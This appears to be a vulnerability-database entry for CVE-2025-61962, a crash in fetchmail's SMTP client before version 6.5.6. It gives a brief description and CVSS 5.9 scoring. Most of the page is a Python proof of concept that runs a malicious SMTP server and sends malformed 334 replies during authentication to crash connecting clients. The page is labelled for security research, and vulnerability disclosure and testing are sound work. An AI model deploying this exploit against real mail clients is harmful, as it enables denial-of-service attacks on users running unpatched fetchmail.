In fetchmail before 6.5.6, the SMTP client can crash when authenticating upon receiving a 334 status code in a malformed context.
CVSS Details
CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
fetchmail < 6.5.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-61962 - Fetchmail SMTP Client DoS PoC
This PoC sets up a malicious SMTP server that sends a malformed 334 response
during the authentication process to crash vulnerable Fetchmail (< 6.5.6) clients.
"""
import socket
import threading
import sys
def handle_client(conn, addr):
"""Handle a single SMTP client connection with malicious behavior."""
try:
# Send initial SMTP banner
conn.sendall(b"220 malicious-smtp.local ESMTP Ready\r\n")
# Handle EHLO/HELO
data = conn.recv(1024)
print(f"[<-] {data.strip().decode(errors='replace')}")
conn.sendall(b"250-malicious-smtp.local Hello\r\n")
conn.sendall(b"250 AUTH LOGIN PLAIN\r\n")
# Handle AUTH command - trigger the vulnerability here
data = conn.recv(1024)
print(f"[<-] {data.strip().decode(errors='replace')}")
# Instead of sending expected 334 challenge at the right time,
# send 334 in a malformed/unexpected context to trigger the crash
# in vulnerable Fetchmail versions
conn.sendall(b"334\r\n")
# Wait briefly for client to process and crash
try:
data = conn.recv(1024)
print(f"[<-] {data.strip().decode(errors='replace')}")
except:
pass
# Send additional malformed 334 to ensure crash
conn.sendall(b"334 \r\n")
except Exception as e:
print(f"[ERROR] {e}")
finally:
conn.close()
def main():
host = "0.0.0.0"
port = 2525 # Non-standard SMTP port to avoid conflicts
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(5)
print(f"[*] Malicious SMTP server listening on {host}:{port}")
print(f"[*] Configure Fetchmail to connect to this server to trigger CVE-2025-61962")
while True:
conn, addr = server.accept()
print(f"[+] Connection from {addr}")
t = threading.Thread(target=handle_client, args=(conn, addr))
t.daemon = True
t.start()
if __name__ == "__main__":
main()